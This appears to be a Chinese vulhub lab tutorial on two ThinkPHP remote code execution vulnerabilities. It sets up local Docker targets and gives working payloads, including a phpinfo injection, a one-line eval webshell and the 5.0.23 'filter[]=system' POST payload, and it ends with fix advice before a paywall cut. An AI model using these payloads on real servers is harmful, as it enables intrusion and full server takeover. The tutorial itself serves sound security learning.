【vulhub】thinkphp漏洞系列
ThinkPHP是什么
ThinkPHP是一款免费开源、快速、简单且面向对象的轻量级PHP开发框架。它遵循MVC设计模式,内置了全功能ORM、模板引擎、路由、缓存、验证器等丰富组件,极大地简化了数据库操作和Web开发流程。ThinkPHP尤其适合快速构建中小型企业网站、API接口和后台管理系统,拥有庞大的开发者社区和丰富的学习资源。
一、2-rce 远程代码执行漏洞
1. 漏洞描述
ThinkPHP 2.x版本的RCE漏洞主要源于其路由匹配机制中对用户输入的不当处理。具体来说,该框架在使用preg_replace的/e模式匹配路由时,未对用户输入参数进行充分过滤,导致输入参数被直接插入双引号中执行,从而引发任意代码执行漏洞。
漏洞原理: ThinkPHP 2.x在处理路由时,通过preg_replace函数的/e模式进行正则匹配,用户输入的参数可能被直接注入到代码执行上下文中,导致攻击者可构造恶意输入执行任意代码。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
影响范围: 主要影响ThinkPHP 2.x版本,部分3.0版本(如Lite模式)因未修复该问题也可能受影响。
2. 环境启动
cd vulhub-master/thinkphp/2-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
构造payload:http://127.0.0.1:8080/?s=/Index/index/a/${@phpinfo()}
写入一句话木马:
http://127.0.0.1:8080/?s=/Index/index/a/${@print(eval($_POST[cmd]))}
蚁剑连接:
连接成功,添加数据:
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down
二、5.0.23-rce 远程代码执行漏洞
1. 漏洞描述
漏洞原理:
由于框架对控制器名和请求方法的处理存在缺陷,攻击者可通过精心构造的URL或POST请求,绕过安全检测,调用框架内部的敏感函数(如system),从而执行任意PHP代码。
影响版本:
ThinkPHP 5.0系列 <= 5.0.23。
漏洞复现方法:
- 访问目标站点的
/index.php?s=captcha路径,若出现报错页面,表明可能存在漏洞。 - 使用工具(如Burp Suite、Hackbar)发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[request_method]=<命令>
(例如whoami、id等系统命令)。 - 若成功执行命令,可进一步上传WebShell(需对代码进行Base64编码绕过过滤),实现对服务器的完全控制。
修复建议:
- 升级ThinkPHP框架至5.0.24及以上版本。
- 严格限制用户输入,加强服务器安全配置。
- 定期进行安全扫描和漏洞检测。
2. 环境启动
cd vulhub-master/thinkphp/5.0.23-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
http:

最低0.47元/天 解锁文章
2903

被折叠的 条评论
为什么被折叠?



